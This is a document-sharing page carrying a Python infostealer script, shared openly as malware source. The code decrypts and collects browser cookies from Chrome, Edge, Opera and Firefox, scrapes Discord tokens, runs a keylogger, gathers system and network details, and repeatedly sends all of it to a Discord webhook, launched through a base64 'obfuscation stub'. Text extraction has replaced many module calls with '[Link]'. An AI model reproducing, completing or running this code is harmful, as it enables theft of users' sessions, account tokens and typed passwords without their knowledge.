0% found this document useful (0 votes)
18 views4 pages

System Info and Data Collection Script

The document is a Python script designed to collect sensitive information from a user's system, including system and network information, browser cookies, Discord tokens, and keystrokes, and send this data to a specified Discord webhook. It utilizes various libraries for system monitoring, data collection, and logging, while implementing error handling and data obfuscation techniques. The script runs continuously, gathering data at regular intervals and attempting to send it to the webhook, with a focus on maintaining a log of its activities for debugging purposes.

Uploaded by

flukflo5
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
18 views4 pages

System Info and Data Collection Script

The document is a Python script designed to collect sensitive information from a user's system, including system and network information, browser cookies, Discord tokens, and keystrokes, and send this data to a specified Discord webhook. It utilizes various libraries for system monitoring, data collection, and logging, while implementing error handling and data obfuscation techniques. The script runs continuously, gathering data at regular intervals and attempting to send it to the webhook, with a focus on maintaining a log of its activities for debugging purposes.

Uploaded by

flukflo5
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd

Hidden, [07/07/2025 21:19]

import requests
import psutil
import pynput
import socket
import platform
import os
import sqlite3
import win32crypt
import json
import base64
from threading import Thread
from time import sleep
from pathlib import Path
from getpass import getuser
from shutil import copyfile
from glob import glob
import logging

# Setup logging for debugging


[Link](filename="[Link]", level=[Link], format="%(asctime)s
- %(levelname)s - %(message)s")

# Discord webhook URL


WEBHOOK_URL = "YOUR_DISCORD_WEBHOOK_URL" # Replace with your actual webhook URL

# Collect system info


def get_system_info():
try:
info = {
"hostname": [Link](),
"platform": [Link](),
"release": [Link](),
"version": [Link](),
"architecture": [Link]()[0],
"cpu": psutil.cpu_percent(interval=1),
"memory": psutil.virtual_memory()._asdict(),
"disk": psutil.disk_usage('/')._asdict(),
"username": getuser(),
"boot_time": psutil.boot_time()
}
[Link]("System info collected successfully")
return info
except Exception as e:
[Link](f"Failed to collect system info: {str(e)}")
return {"error": f"Failed to collect system info: {str(e)}"}

# Collect network info


def get_network_info():
try:
interfaces = psutil.net_if_addrs()
net_info = {}
for interface, addrs in [Link]():
net_info[interface] = [{"address": [Link], "family":
str([Link])} for addr in addrs]
public_ip = [Link]("[Link] timeout=5).text
connections = [conn._asdict() for conn in psutil.net_connections()]
[Link]("Network info collected successfully")
return {
"interfaces": net_info,
"public_ip": public_ip,
"connections": connections
}
except Exception as e:
[Link](f"Failed to collect network info: {str(e)}")
return {"error": f"Failed to collect network info: {str(e)}"}

# Extract browser cookies


def get_browser_cookies(browser):
try:
db_path = {
"chrome": [Link]([Link]["USERPROFILE"], "AppData", "Local",
"Google", "Chrome", "User Data", "Default", "Network", "Cookies"),
"edge": [Link]([Link]["USERPROFILE"], "AppData", "Local",
"Microsoft", "Edge", "User Data", "Default", "Network", "Cookies"),
"opera": [Link]([Link]["APPDATA"], "Opera Software", "Opera
Stable", "Network", "Cookies"),
"firefox": [Link]([Link]["APPDATA"], "Mozilla", "Firefox",
"Profiles", "*.default-release", "[Link]")
}
cookies = []
temp_db = f"temp_{browser}_cookies.sqlite"

# Handle Firefox
if browser == "firefox":
profiles = glob(db_path["firefox"])
if not profiles:
[Link]("No Firefox profile found")
return {"error": "No Firefox profile found"}
db_path = profiles[0]
else:
db_path = db_path[browser]

if not [Link](db_path):
[Link](f"{browser} cookies database not found at {db_path}")
return {"error": f"{browser} cookies database not found"}

copyfile(db_path, temp_db)
conn = [Link](temp_db)
conn.text_factory = str
cursor = [Link]()

query = "SELECT host, name, value FROM moz_cookies" if browser == "firefox"


else "SELECT host_key, name, encrypted_value FROM cookies"
[Link](query)

for row in [Link]():


try:
host, name, value = row
if browser != "firefox":
value = [Link](value, None, None, None,
0)[1].decode()
[Link]({"host": host, "name": name, "value": value})
except Exception as e:
logging.

Hidden, [07/07/2025 21:19]


error(f"Error decrypting {browser} cookie: {str(e)}")
continue

[Link]()
[Link](temp_db)
[Link](f"{browser} cookies collected: {len(cookies)}")
return cookies[:10] # Limit for brevity
except Exception as e:
[Link](f"Failed to collect {browser} cookies: {str(e)}")
return {"error": f"Failed to collect {browser} cookies: {str(e)}"}

# Extract Discord tokens


def get_discord_tokens():
try:
tokens = []
discord_path = [Link]([Link]["APPDATA"], "discord", "Local
Storage", "leveldb")
if not [Link](discord_path):
[Link]("Discord leveldb path not found")
return {"error": "Discord leveldb path not found"}
for file in [Link](discord_path):
if [Link]((".ldb", ".log")):
with open([Link](discord_path, file), "r", errors="ignore")
as f:
for line in f:
if "token" in line and len([Link]()) > 20: # Basic
token validation
[Link]([Link]())
[Link](f"Discord tokens collected: {len(tokens)}")
return tokens[:5] # Limit for brevity
except Exception as e:
[Link](f"Failed to collect Discord tokens: {str(e)}")
return {"error": f"Failed to collect Discord tokens: {str(e)}"}

# Keylogger with increased capacity


def keylogger():
keys = []
def on_press(key):
try:
if len(keys) < 500:
[Link](str(key).replace("'", ""))
else:
[Link](0)
[Link](str(key).replace("'", ""))
except Exception as e:
[Link](f"Keylogger error: {str(e)}")
listener = [Link](on_press=on_press)
[Link]()
[Link]("Keylogger started")
return keys

# Send data to webhook


def send_to_webhook(data):
try:
payload = {"content": [Link](data, indent=2)}
headers = {"Content-Type": "application/json"}
response = [Link](WEBHOOK_URL, json=payload, headers=headers,
timeout=10)
if response.status_code == 204:
[Link]("Data sent to webhook successfully")
else:
[Link](f"Webhook failed with status {response.status_code},
retrying...")
sleep(5)
[Link](WEBHOOK_URL, json=payload, headers=headers, timeout=10)
except Exception as e:
[Link](f"Failed to send to webhook: {str(e)}")

# Main loop
def main():
[Link]("Script started")
keys = keylogger()
browsers = ["chrome", "firefox", "edge", "opera"]
while True:
try:
data = {
"system_info": get_system_info(),
"network_info": get_network_info(),
"cookies": {
"chrome": get_browser_cookies("chrome"),
"firefox": get_browser_cookies("firefox"),
"edge": get_browser_cookies("edge"),
"opera": get_browser_cookies("opera")
},
"discord_tokens": get_discord_tokens(),
"keystrokes": keys[:500]
}
Thread(target=send_to_webhook, args=(data,)).start()
[Link](f"Data prepared for sending: {len(keys)} keystrokes")
sleep(300)
if len(keys) >= 500:
[Link]()
[Link]("Keystrokes cleared")
except Exception as e:
[Link](f"Main loop error: {str(e)}")
sleep(60)

# Obfuscation stub
if name == "__main__":
try:
encoded = base64.b64encode(b"main()")
eval(base64.b64decode(encoded))
except Exception as e:
[Link](f"Startup error: {str(e)}")

You might also like